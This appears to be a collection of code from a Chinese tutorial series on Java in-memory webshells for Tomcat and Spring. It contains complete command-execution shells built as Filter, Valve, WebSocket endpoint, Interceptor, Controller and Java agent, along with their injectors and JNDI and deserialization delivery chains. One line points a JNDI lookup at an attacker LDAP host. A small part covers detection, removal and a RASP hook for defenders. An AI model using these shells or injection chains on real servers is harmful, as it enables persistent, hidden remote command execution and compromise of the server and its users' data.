// 检测代码：列出所有拦截器与路由
WebApplicationContext ctx =
    WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);

for (Object interceptor : mapping.getAdaptedInterceptors()) {
    System.out.println("interceptor: " + interceptor.getClass().getName());
}
for (Object handlerMethod : mapping.getHandlerMethods().keySet()) {
    System.out.println("mapping: " + handlerMethod);
}

StandardContext context = ...;   // 反射链拿 context，见 Filter 篇

// 1. 先移除实例配置
context.removeFilterDef(findFilterDef("shell"));

// 2. 移除映射（filterMaps 在较新版本是包私有 ContextFilterMaps，需反射 remove）
Field mapsField = StandardContext.class.getDeclaredField("filterMaps");
mapsField.setAccessible(true);
Object filterMaps = mapsField.get(context);
Method remove = filterMaps.getClass().getMethod("remove", String.class);
remove.setAccessible(true);
remove.invoke(filterMaps, "shell");

// 3. 移除 filterConfigs 中的实例
Field cfField = StandardContext.class.getDeclaredField("filterConfigs");
cfField.setAccessible(true);
((Map<?, ?>) cfField.get(context)).remove("shell");

Wrapper wrapper = (Wrapper) context.findChild("shell");
context.removeChild(wrapper);      // 从 children 移除
context.removeServletMapping("/shell");  // 从 servletMappings 移除

// 遍历找到恶意 listener 实例后移除
context.removeApplicationEventListener(listener);

for (Valve valve : context.getPipeline().getValves()) {
    if (valve.getClass().getName().contains("Evil")) {
        context.getPipeline().removeValve(valve);
    }
}
// 若挂在 Host / Engine，用同样的 getPipeline() 往上取再 removeValve

// Interceptor
List<HandlerInterceptor> interceptors = /* 反射拿 adaptedInterceptors */;
interceptors.remove(evilInterceptor);

// Controller 路由
mapping.unregisterMapping(info);   // 反注册 /evil

// ServletContext 属性名：Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE
// javax 版为 "javax.websocket.server.ServerContainer"
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
        "javax.websocket.server.ServerContainer");
container.addEndpoint(EvilEndpoint.class);

import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;

@ServerEndpoint("/ws")
public class EvilEndpoint {

    @OnOpen
    public void onOpen(Session session) {
        System.out.println("[+] WebSocket connected: " + session.getId());
    }

    @OnMessage
    public String onMessage(String message) {
        try {
            String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                    ? new String[]{"cmd.exe", "/c", message}
                    : new String[]{"/bin/sh", "-c", message};

            Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
            try (ByteArrayOutputStream out = new ByteArrayOutputStream();
                 InputStream is = process.getInputStream()) {
                byte[] buf = new byte[4096];
                int len;
                while ((len = is.read(buf)) != -1) {
                    out.write(buf, 0, len);
                }
                process.waitFor();
                return out.toString(System.getProperty("sun.jnu.encoding"));
            }
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}

import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.servlet.ServletContext;
import javax.websocket.DeploymentException;

public class WebSocketMemShellInjector {

    public static void inject(ServletContext servletContext) throws Exception {
        // 属性名见 Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE
        WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
                "javax.websocket.server.ServerContainer");
        if (container == null) {
            throw new IllegalStateException("WsServerContainer not found");
        }
        try {
            container.addEndpoint(EvilEndpoint.class);
            System.out.println("[+] WebSocket endpoint /ws registered.");
        } catch (DeploymentException e) {
            // 同路径已注册即视为已注入（防重复）
            System.out.println("[!] Endpoint already registered: " + e.getMessage());
        }
    }
}

// javax（Tomcat 8.5 / 9.x）
import javax.websocket.server.ServerEndpoint;
import javax.servlet.ServletContext;
container = (WsServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");

// jakarta（Tomcat 10.x / 11.x）—— 包名 + 属性名字符串都换
import jakarta.websocket.server.ServerEndpoint;
import jakarta.servlet.ServletContext;
container = (WsServerContainer) servletContext.getAttribute("jakarta.websocket.server.ServerContainer");

import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;

/**
 * Executor 型（概念示意）：恶意 ThreadFactory。
 * 每次创建一个工作线程就执行一次命令（命令可换成从全局/内存读取的动态值）。
 */
public class EvilThreadFactory implements ThreadFactory {

    private final AtomicInteger count = new AtomicInteger(0);

    @Override
    public Thread newThread(Runnable r) {
        Thread t = new Thread(r, "tomcat-exec-" + count.incrementAndGet());
        try {
            Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "id"});
        } catch (Exception ignored) {
        }
        return t;
    }
}

import javax.servlet.http.HttpUpgradeHandler;
import javax.servlet.http.WebConnection;
import java.io.InputStream;

/**
 * Upgrade 型（概念示意）：恶意 HttpUpgradeHandler。
 * 被 request.upgrade(EvilUpgradeHandler.class) 触发后接管连接。
 */
public class EvilUpgradeHandler implements HttpUpgradeHandler {

    @Override
    public void init(WebConnection wc) {
        try {
            InputStream is = wc.getInputStream();
            byte[] buf = new byte[4096];
            int len = is.read(buf);
            if (len > 0) {
                String cmd = new String(buf, 0, len).trim();
                Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
            }
        } catch (Exception ignored) {
        }
    }

    @Override
    public void destroy() {
    }
}

// 列出已注册的 WebSocket Endpoint（有内部 map 可遍历）
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
        "javax.websocket.server.ServerContainer");
// 用 JMX/Arthas 观察 WsWebSocketContainer 的 endpointPathMap 是否有非业务路径

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class ValveMemShell extends ValveBase {

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        // 注意：Valve 的 invoke 直接拿到的是内部 connector.Request / Response，
        // 取参数、回显都不需要反射（这是与 Filter/Listener 的重要区别）
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);
                response.setContentType("text/html;charset=UTF-8");
                response.getWriter().write("<pre>" + result + "</pre>");
                return; // 命令执行型：直接返回，不进入后续业务
            } catch (Exception e) {
                response.getWriter().write("Error: " + e.getMessage());
            }
        }
        // 正常请求继续沿管道传递（必须调用 getNext().invoke()，否则管道中断）
        getNext().invoke(request, response);
    }

    /**
     * 统一命令执行器（与 Filter / Servlet / Listener 三篇通用）
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

import org.apache.catalina.Valve;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.connector.Request;

import java.lang.reflect.Field;

public class ValveMemShellInjector {

    /**
     * 注入到当前 Context 的 Pipeline
     */
    public static void inject(StandardContext context) {
        // 防重复：遍历管道已有 Valve，判断是否已注入
        for (Valve valve : context.getPipeline().getValves()) {
            if (valve instanceof ValveMemShell) {
                System.out.println("[!] Valve already injected.");
                return;
            }
        }
        // addValve() 是 ContainerBase 的 public 方法，无需反射
        context.getPipeline().addValve(new ValveMemShell());
        System.out.println("[+] Valve memory shell injected.");
    }

    /**
     * 注入到 Host / Engine 级（影响范围更大，也更影响正常业务）
     */
    public static void injectUpper(StandardContext context) {
        // Host 级：该 Host 下所有应用的所有请求都经过
        org.apache.catalina.Host host = (org.apache.catalina.Host) context.getParent();
        host.getPipeline().addValve(new ValveMemShell());

        // Engine 级：整个 Tomcat 实例的所有请求都经过
        org.apache.catalina.Engine engine = (org.apache.catalina.Engine) host.getParent();
        engine.getPipeline().addValve(new ValveMemShell());
    }

    /**
     * 从 RequestFacade 反射获取 StandardContext（与 Filter / Servlet 篇相同链）
     */
    public static StandardContext getStandardContext(Object servletRequest) throws Exception {
        Field requestField = servletRequest.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request request = (Request) requestField.get(servletRequest);
        return (StandardContext) request.getContext();
    }
}

// Context 级：只影响当前 Web 应用（推荐，误伤最小）
StandardContext context = ValveMemShellInjector.getStandardContext(request);
context.getPipeline().addValve(new ValveMemShell());

// Host 级：该 Host 下所有应用（context.getParent() → StandardHost）
org.apache.catalina.Host host = (org.apache.catalina.Host) context.getParent();
host.getPipeline().addValve(new ValveMemShell());

// Engine 级：整个 Tomcat 实例（host.getParent() → StandardEngine）
org.apache.catalina.Engine engine = (org.apache.catalina.Engine) host.getParent();
engine.getPipeline().addValve(new ValveMemShell());

// javax（Tomcat 8.5 / 9.x）
import javax.servlet.ServletException;

// jakarta（Tomcat 10.x / 11.x）—— 只需替换这一处
import jakarta.servlet.ServletException;

// Filter/Listener 回显：RequestFacade → request 字段 → response 字段（两步反射）
Field reqField = servletRequest.getClass().getDeclaredField("request");
...
Field responseField = innerRequest.getClass().getDeclaredField("response");
...

// Valve 回显：直接写（connector.Response 实现了 HttpServletResponse）
response.getWriter().write("<pre>" + result + "</pre>");

for (Valve valve : context.getPipeline().getValves()) {
    if (valve instanceof ValveMemShell) {
        return; // 已注入
    }
}

// 反序列化 payload 中的代码片段
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
context.getPipeline().addValve(new EvilValve());

// 与部署基线对比：列出管道上的 Valve
public static void listValves(StandardContext ctx) {
    for (Valve v : ctx.getPipeline().getValves()) {
        System.out.println(v.getClass().getName());
    }
}

// RASP Hook 示意（ByteBuddy @RuntimeType 教学写法）
@RuntimeType
public static void onAddValve(@This StandardPipeline pipeline, @Argument(0) Valve valve) {
    StackTraceElement[] stack = Thread.currentThread().getStackTrace();
    for (StackTraceElement frame : stack) {
        if (frame.getClassName().contains("ContextConfig")) {
            return; // 启动阶段放行
        }
    }
    // 运行时挂载 Valve → 告警
    alert("Detected runtime Valve injection: " + valve.getClass().getName());
    throw new SecurityException("Suspicious pipeline modification blocked");
}

Field field = /* AbstractHandlerMapping 的 adaptedInterceptors 字段 */;
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(mapping);
list.add(new InterceptorMemShell());

RequestMappingInfo info = RequestMappingInfo.paths("/evil").build();  // Builder → info
Method method = controller.getClass().getDeclaredMethod("evil", ...);
mapping.registerMapping(info, controller, method);

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;

public class InterceptorMemShell implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);
                response.setContentType("text/html;charset=UTF-8");
                response.getWriter().write("<pre>" + result + "</pre>");
                return false; // 拦截，不进入 Controller
            } catch (Exception e) {
                response.getWriter().write("Error: " + e.getMessage());
            }
        }
        return true;
    }

    /**
     * 从 ServletContext 拿 Spring 容器并注入
     */
    public static void inject(ServletContext servletContext) throws Exception {
        WebApplicationContext ctx =
                WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
        RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);

        // adaptedInterceptors 定义在 AbstractHandlerMapping（父类父类），沿继承链向上找字段
        List<HandlerInterceptor> interceptors = getAdaptedInterceptors(mapping);

        // 防重复
        for (HandlerInterceptor interceptor : interceptors) {
            if (interceptor instanceof InterceptorMemShell) {
                return;
            }
        }
        interceptors.add(new InterceptorMemShell());
    }

    @SuppressWarnings("unchecked")
    private static List<HandlerInterceptor> getAdaptedInterceptors(RequestMappingHandlerMapping mapping)
            throws Exception {
        Class<?> cls = mapping.getClass();
        Field field = null;
        while (cls != null && field == null) {
            try {
                field = cls.getDeclaredField("adaptedInterceptors");
            } catch (NoSuchFieldException e) {
                cls = cls.getSuperclass();
            }
        }
        if (field == null) {
            throw new NoSuchFieldException("adaptedInterceptors");
        }
        field.setAccessible(true);
        return (List<HandlerInterceptor>) field.get(mapping);
    }

    /**
     * 统一命令执行器
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;

public class ControllerMemShell {

    /**
     * 恶意 Controller 方法：注册后访问 /evil?cmd=xxx 即执行命令
     */
    @org.springframework.web.bind.annotation.RequestMapping("/evil")
    public void evil(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            String result = exec(cmd);
            response.setContentType("text/html;charset=UTF-8");
            response.getWriter().write("<pre>" + result + "</pre>");
        }
    }

    public static void inject(ServletContext servletContext) throws Exception {
        WebApplicationContext ctx =
                WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
        RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);

        ControllerMemShell controller = new ControllerMemShell();
        Method method = controller.getClass().getDeclaredMethod(
                "evil", HttpServletRequest.class, HttpServletResponse.class);

        // paths() 返回 Builder，build() 生成 RequestMappingInfo
        RequestMappingInfo info = RequestMappingInfo.paths("/evil").build();
        mapping.registerMapping(info, controller, method);
    }

    /**
     * 统一命令执行器
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

// 反序列化 payload 中的代码片段
javax.servlet.ServletContext servletContext = request.getSession().getServletContext();
InterceptorMemShell.inject(servletContext);

// javax（Spring 5.x）
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;

// jakarta（Spring 6.x）—— 全局替换包名即可
import jakarta.servlet.ServletContext;
import jakarta.servlet.http.HttpServletRequest;

WebApplicationContext ctx =
        WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);

// 检测代码：列出所有注册的拦截器
WebApplicationContext ctx =
        WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
for (Object interceptor : mapping.getAdaptedInterceptors()) {
    System.out.println(interceptor.getClass().getName());
}

// 列出所有已注册的 RequestMapping，检查是否有非业务路由
for (Object handlerMethod : mapping.getHandlerMethods().keySet()) {
    System.out.println(handlerMethod);
}
// 或 curl 探测：/evil?cmd=whoami 是否返回命令结果

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;

public class EvilTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        // className 形如 org/apache/catalina/core/ApplicationFilterChain
        if (className == null || !className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
            return null; // 不关心的类返回 null，保持原字节码
        }
        CtClass ct = null;
        try {
            // 每次用全新 ClassPool：ClassPool.getDefault() 是全局共享池，
            // makeClass 发现同名类已在池里就返回缓存的 CtClass（可能已 modified），会跳过插入
            ClassPool pool = new ClassPool(null);
            if (loader != null) {
                // 让 javassist 编译插入片段时能解析 javax.servlet 等类型（用目标类的 classloader）
                pool.appendClassPath(new LoaderClassPath(loader));
            }
            // 从"当前已加载类"的字节码构造，而不是 ClassPool.getDefault().get(className)：
            // Tomcat 里 catalina.jar 由 common classloader 加载，java.class.path 上找不到
            ct = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
            // $1 = ServletRequest, $2 = ServletResponse（internalDoFilter 的两个参数）
            ct.getDeclaredMethod("internalDoFilter").insertBefore(
                "javax.servlet.ServletRequest __req = $1;"
                + "String __c = __req.getParameter(\"cmd\");"
                + "if (__c != null && !__c.isEmpty()) {"
                + "  try {"
                + "    Process __p = Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",__c});"
                + "    java.io.InputStream __in = __p.getInputStream();"
                + "    byte[] __buf = new byte[4096];"
                + "    java.io.ByteArrayOutputStream __bout = new java.io.ByteArrayOutputStream();"
                + "    int __len;"
                + "    while ((__len = __in.read(__buf)) != -1) __bout.write(__buf, 0, __len);"
                + "    ((javax.servlet.http.HttpServletResponse)$2).setContentType(\"text/html;charset=UTF-8\");"
                + "    ((javax.servlet.http.HttpServletResponse)$2).getWriter().write(\"<pre>\" + new String(__bout.toByteArray(), \"UTF-8\") + \"</pre>\");"
                + "  } catch (Exception __e) { __e.printStackTrace(); }"
                + "  return;"
                + "}"
            );
            byte[] bytes = ct.toBytecode();
            return bytes;
        } catch (Throwable t) {
            t.printStackTrace();
        } finally {
            if (ct != null) ct.detach();
        }
        return null;
    }
}

import java.lang.instrument.Instrumentation;

public class EvilAgent {

    public static void agentmain(String args, Instrumentation inst) {
        inst.addTransformer(new EvilTransformer(), true);

        // 不能用 Class.forName 定位目标类：agentmain 跑在 system classloader，
        // 而 ApplicationFilterChain 由 Tomcat 的 common classloader 加载，forName 会抛
        // ClassNotFoundException。改用 getAllLoadedClasses() 遍历已加载类来定位。
        Class<?> target = null;
        for (Class<?> c : inst.getAllLoadedClasses()) {
            if ("org.apache.catalina.core.ApplicationFilterChain".equals(c.getName())) {
                target = c;
                break;
            }
        }
        if (target == null) {
            System.out.println("[!] ApplicationFilterChain not loaded");
            return;
        }
        try {
            // 目标类在 attach 时已加载，需 retransform 才会重写字节码
            inst.retransformClasses(target);
            System.out.println("[+] Agent transformer applied to ApplicationFilterChain");
        } catch (Throwable t) {
            t.printStackTrace();
        }
    }
}

import com.sun.tools.attach.VirtualMachine;

public class AttachShell {

    public static void inject(String targetPid, String agentJarPath) throws Exception {
        VirtualMachine vm = VirtualMachine.attach(targetPid);
        try {
            vm.loadAgent(agentJarPath);
        } finally {
            vm.detach();
        }
    }
}

// javax（Tomcat 8.5 / 9.x）
"javax.servlet.ServletRequest __req = $1;"
"((javax.servlet.http.HttpServletResponse)$2).getWriter()..."

// jakarta（Tomcat 10.x / 11.x）—— 插入字符串里全部替换
"jakarta.servlet.ServletRequest __req = $1;"
"((jakarta.servlet.http.HttpServletResponse)$2).getWriter()..."

// 反序列化 payload 中的代码片段
String pid = "...";                  // 目标 Tomcat 的 JVM pid
String agent = "/tmp/evil-agent.jar"; // 提前上传或内嵌写出
AttachShell.inject(pid, agent);

// 把 3.1 里的目标类换成 HttpServlet（同样用 getAllLoadedClasses 定位，见 4.4）
Class<?> target = null;
for (Class<?> c : inst.getAllLoadedClasses()) {
    if ("javax.servlet.http.HttpServlet".equals(c.getName())) {
        target = c;
        break;
    }
}
inst.retransformClasses(target);
// transformer 里 insertBefore 的代码相同（service 的参数 $1/$2 也是 request/response）

// 检测 agent：把注册的 transformer 类名打印出来
public static void agentmain(String args, Instrumentation inst) {
    Class<?>[] classes = inst.getAllLoadedClasses();
    // 触发一次重转换，观察是否有 transformer 命中不该改的类
    for (Class<?> c : classes) {
        if (c.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
            inst.retransformClasses(c);
        }
    }
}

@PostMapping("/parseAnimal")
@ResponseBody
public Map<String, Object> parseAnimal(@RequestBody String payload) {
    // 带 @JSONType(seeAlso=...) 的多态基类 → ObjectReaderSeeAlso
    Object obj = JSON.parseObject(payload, Animal.class);
    ...
}

@JSONType(seeAlso = {Dog.class, Cat.class})
public class Animal {
    private String name;
    // getter / setter ...
}

class Dog extends Animal { ... }
class Cat extends Animal { ... }

long hash = FNV_OFFSET_64;
for (int i = 0; i < typeName.length(); i++) {
    hash ^= typeName.charAt(i);
    hash *= FNV_PRIME_64;
    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
        clazz = loadClass(typeName);   // ← 仅哈希命中就加载！
    }
}

// ObjectReaderSeeAlso 构造逻辑（示意）
this.features |= JSONReader.Feature.SupportAutoType.mask;

if (autoTypeSupport || jsonType || expectClassFlag) {
    // 哈希命中 → loadClass
    // 哈希不命中但 SupportAutoType 已开启 → fallback，同样走到 loadClass
}

private void checkName(String name) {
    if (name.indexOf('/') != -1) {
        throw new NoClassDefFoundError(name);
    }
}

// 1. 拒绝 URL 特殊字符（: 和 !）
if (typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0) {
    throw new JSONException("autoType is not support. " + typeName);
}

// 2. 哈希命中后核对真实文本前缀
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
    String prefix = typeName.substring(0, i + 1);
    if (!acceptNameSet.contains(prefix)) {   // 新增文本校验
        continue;
    }
    clazz = loadClass(typeName);
}

// 3. loadClass 前补全统一校验 + 黑名单
if (ClassLoader.class.isAssignableFrom(clazz)
        || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
    throw new JSONException("autoType is not support.");
}

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import java.lang.reflect.Field;

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    try {
        Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
        field.setAccessible(true);
        StandardRoot root = (StandardRoot) field.get(cl);
        return (StandardContext) root.getContext();
    } catch (Exception e) {
        return null;
    }
}

public Filter getFilter() throws Exception {
    String code = "yv66vgAA...";   // ShellFilter 字节码的 Base64（javassist 生成）
    byte[] bytes = Base64.getDecoder().decode(code);

    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    Method define = ClassLoader.class.getDeclaredMethod(
        "defineClass", byte[].class, int.class, int.class);
    define.setAccessible(true);
    Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);
    return (Filter) clazz.getDeclaredConstructor().newInstance();
}

public class Inject {
    public Inject() throws Exception {        // ← JNDI 加载后自动执行
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");
    }
}

// JNDI 加载的类：只有构造方法会被自动执行
public class Inject {
    public Inject() { /* 这里没有 request！ */ }
}

// 反序列化加载的类：只有 static 块 / 构造方法
public class ShellLoader extends AbstractTranslet {
    static { /* 这里也没有 request！ */ }
}

// Listener：只有 ServletRequestEvent，需两步反射拿 response
public class ListenerShell implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) { /* ... */ }
}

// RequestFacade 只有 request 字段（指向内部 connector.Request）
Field reqField = servletRequest.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);

// connector.Request 有 response 字段
Field respField = innerRequest.getClass().getDeclaredField("response");
respField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) respField.get(innerRequest);

import org.apache.catalina.connector.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.RequestInfo;
import java.util.ArrayList;

public class TomcatEcho {

    public static void echo(String result) throws Exception {
        // 链式反射拿到 processors 列表（getField 见 3.3）
        ArrayList<RequestInfo> infos = (ArrayList<RequestInfo>) getField(
            Thread.currentThread().getContextClassLoader(),
            WebappClassLoaderBase.class,
            "resources:org.apache.catalina.webresources.StandardRoot",
            "context:org.apache.catalina.core.StandardContext",
            "context",
            "service:org.apache.catalina.core.StandardService",
            "connectors_0:org.apache.catalina.connector.Connector",
            "protocolHandler:org.apache.coyote.AbstractProtocol",
            "handler:org.apache.coyote.AbstractProtocol$ConnectionHandler",
            "global", "processors"
        );

        for (RequestInfo ri : infos) {
            org.apache.coyote.Request r =
                (org.apache.coyote.Request) getField(ri, RequestInfo.class, "req");
            Request req = (Request) r.getNote(1);   // getNote(1) → connector.Request
            Response resp = req.getResponse();      // 直接回显
            resp.getWriter().write(result);
            resp.getWriter().flush();
        }
    }
}

public static Object getField(Object obj, Class<?> clazz, String... fieldNames) throws Exception {
    for (String part : fieldNames) {
        String[] segs = part.split("_", 2);
        Field field = clazz.getDeclaredField(segs[0].split(":")[0]);
        field.setAccessible(true);
        obj = field.get(obj);
        if (segs.length > 1) {                 // 带下标：取数组/List 元素
            String[] parts = segs[1].split(":", 2);
            int idx = Integer.parseInt(parts[0]);
            obj = obj instanceof List
                ? ((List<?>) obj).get(idx)
                : Array.get(obj, idx);
            clazz = parts.length > 1 ? Class.forName(parts[1]) : obj.getClass();
        } else {                                // 不带下标：强转
            clazz = part.contains(":") ? Class.forName(part.split(":")[1]) : field.getType();
        }
    }
    return obj;
}

// 生成端：javassist 把 ShellFilter 转成 Base64
import javassist.ClassPool;
import java.util.Base64;

public class DumpBase64 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        byte[] bytes = pool.get("ShellFilter").toBytecode();
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
}

// 注入端：把 Base64 字节码还原成类并实例化
String code = "yv66vgAA...";   // 上面生成的 Base64
byte[] bytes = Base64.getDecoder().decode(code);

ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method define = ClassLoader.class.getDeclaredMethod(
    "defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);

Filter filter = (Filter) clazz.getDeclaredConstructor().newInstance();

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardRoot root = (StandardRoot) cl.getResources();
    return (StandardContext) root.getContext();
}

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    try {
        Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
        field.setAccessible(true);
        StandardRoot root = (StandardRoot) field.get(cl);
        return (StandardContext) root.getContext();
    } catch (Exception e) {
        return null;
    }
}

// 受害者：HelloServlet.doGet 里 lookup 参数可控
String name = request.getParameter("name");
Context ctx = new InitialContext();
ctx.lookup(name);   // name = ldap://attacker:1389/Inject

public class Inject {
    public Inject() throws Exception {          // ← JNDI 加载后自动执行
        StandardContext context = getContext(); // 无 request 链，见第三节
        Filter filter = getFilter();            // defineClass 加载恶意 Filter，见第二节

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
    }
}

// 恶意类：继承 AbstractTranslet，构造方法里写注入逻辑（同 4.3）
public class Inject extends AbstractTranslet {
    public Inject() { /* 完成 Filter 注册 */ }
    @Override public void transform(DOM d, SerializationHandler[] h) {}
    @Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) {}
}